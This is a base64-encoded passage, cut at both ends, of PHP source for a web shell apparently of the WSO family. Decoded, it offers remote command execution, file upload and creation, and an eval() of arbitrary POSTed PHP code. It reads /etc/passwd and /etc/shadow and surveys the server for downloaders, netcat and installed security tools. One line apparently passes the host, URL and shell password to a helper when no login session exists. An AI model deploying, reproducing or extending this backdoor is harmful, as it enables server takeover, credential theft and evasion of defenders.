dXNlZmwuPSAkaXRlbS4nLCc7IH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgICAgICBmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJGR3bmxkci49ICRpdGVtMi4nLCc7IH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgICAgIH0KICAgIH0gZWxzZSB7IAogICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7CiAgICB9IAogICAgZWNobyAnPHRhYmxlIGNsYXNzPSJpbmZvIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxNjBweCI+PGRpdiBjbGFzcz0ibG9nbyI+djxzdXA+JnJlZzs8L3N1cD48L2Rpdj48aHIgc3R5bGU9Im1hcmdpbjogLTVweCAxM3B4IDJweCAxN3B4O3dpZHRoOjEzMHB4OyI+PGRpdiBjbGFzcz0iZWNhMSI+PC9kaXY+PGRpdiBjbGFzcz0iZWNhMiI+PC9kaXY+PC90ZD4KICAgICAgICAgIDx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiBjbGFzcz0ibnBvYWQiPjx0cj48dGQgd2lkdGg9IjEyNXB4OyI+PHNwYW4+VW5hbWU8L3NwYW4+PC90ZD48dGQ+OiA8bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvbm9icj48L3RkPjwvdHI+CiAgICAgICAgICA8dHI+PHRkPjxzcGFuPlVzZXI8L3NwYW4+PC90ZD48dGQ+OiAnLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOiA8L3NwYW4+ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+U2VydmVyPC9zcGFuPjwvdGQ+PHRkPjogJy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+VXNlZnVsPC9zcGFuPjwvdGQ+PHRkPjogJy4kdXNlZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRvd25sb2FkZXJzPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5EaXNhYmxlZCBmdW5jdGlvbnM8L3NwYW4+PC90ZD48dGQ+OiAnLigkZGlzYWJsZV9mdW5jdGlvbnM/JGRpc2FibGVfZnVuY3Rpb25zOidBbGwgRnVuY3Rpb24gRW5hYmxlJykuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPicuKCRHTE9CQUxTWydvcyddID09ICd3aW4nPydEcml2ZXM8YnIgLz5Dd2QnOidDd2QnKS4nPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHJpdmVzLicnLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+Jy4KICAgICAgICAgJzx0ZCB3aWR0aD0xPjxub2JyPjxzcGFuPlNlcnZlciBJUDwvc3Bhbj48YnI+PHNwYW4+Q2xpZW50IElQPC9zcGFuPjxiciAvPjxzcGFuPkhERDwvc3Bhbj48YnIgLz48c3Bhbj5GcmVlPC9zcGFuPjxiciAvPjxzcGFuPlBIUDwvc3Bhbj48YnIgLz48c3Bhbj5TYWZlIE1vZGU8L3NwYW4+PGJyIC8+PHNwYW4+RG9tYWluczwvc3Bhbj48L25vYnI+PC90ZD4nLgogICAgICAgICAnPHRkPjxub2JyPjogJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj46ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzxiciAvPjogJy52aWV3U2l6ZSgkdG90YWxTcGFjZSkuJzxiciAvPjogJy52aWV3U2l6ZSgkZnJlZVNwYWNlKS4nICgnLihpbnQpKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKS4nJSk8YnI+OiAnLkBwaHB2ZXJzaW9uKCkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPjxiciAvPjogJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Jy4kY29sb3IuJzxiPk9GRjwvYj48L2ZvbnQ+JykuJzxiciAvPjogJy4kZDBjLic8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jy4KICAgICAgICAgJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPic7Cn0KCmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgewogICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9Z3JlZW4+WyBXcml0ZWFibGUgXTwvZm9udD4iOiI8Zm9udCBjb2xvcj1yZWQ+WyBOb3Qgd3JpdGFibGUgXTwvZm9udD4iOwoKZWNobyAnPC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOiM0NDQ7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDo1cHggc29saWQgIzQ0NDsiPgo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc01hblwnLG51bGwsXCdta2RpclwnLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUsXCdta2ZpbGVcJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0NvbnNvbGVcJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IiI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iRmlsZXNNQW4iPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSJ1cGxvYWRGaWxlIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgIDxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICA8L3RyPgo8L3RhYmxlPjwvZGl2PjwvZGl2Pgo8ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij48L2Rpdj48L2Rpdj4KPC9kaXY+CjwvYm9keT48L2h0bWw+JzsKfQoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkgeyByZXR1cm4gZmFsc2U7IH0gfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CgoKZnVuY3Rpb24gdmlld1NpemUoJHMpIHsKICAgIGlmKCRzID49IDEwNzM3NDE4MjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKICAgIGVsc2VpZigkcyA+PSAxMDI0KQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CiAgICBlbHNlCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsKfQoKZnVuY3Rpb24gcGVybXMoJHApIHsKICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsKICAgIGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CiAgICBlbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOwogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKICAgIGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOwogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsKICAgIGVsc2UgJGkgPSAndSc7CiAgICAkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKICAgICRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICByZXR1cm4gJGk7Cn0KCmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7IAogICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwogICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7CiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7CiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgewogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRmaWxlczsKICAgIH0KfQppZiAoISRfU0VTU0lPTltsb2dpbl0pIHN5c3RlbTMyKCRfU0VSVkVSWydIVFRQX0hPU1QnXSwkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwkYXV0aF9wYXNzKTsKZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsKICAgICAgICAkdiA9IHRyaW0oJHYpOwogICAgICAgIGlmKCR2KSB7CiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicuJG4uJzogPC9zcGFuPic7CiAgICAgICAgICAgIGlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgZWNobyAkdi4nPGJyPic7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7CiAgICAgICAgfQogICAgfQogICAgCiAgICBzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIHNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsKICAgIHNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwogICAgJHRlbXA9YXJyYXkoKTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCiAgICAgICAgJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJPcmFjbGUiOwogICAgc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwogICAgZWNobyAnPGJyPic7CiAgICAKICAgIGlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsKICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsKICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKICAgICAgICBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7CiAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkKICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAKICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAKICAgICAgICBzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4KCduZXQgYWNjb3VudHMnKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsZXgoJ25ldCB1c2VyJykpOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOwogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsgCiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgaWYoIGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpICkgewogICAgICAgIGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKCk7CiAgICAgICAgJHRtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5IHsuKn0hbXNpVScsJycsJHRtcCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWgxIW1zaVUnLCdoMicsJHRtcCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLCBoMiB7Lip9IW1zaVUnLCcnLCR0bXApOwogICAgICAgIGVjaG8gJHRtcDsKICAgICAgICBlY2hvICc8L2Rpdj48YnI+JzsKICAgIH0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgICAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKICAgIGVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7CiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKICAgIH0KICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7CiAgICBwcmludEZvb3R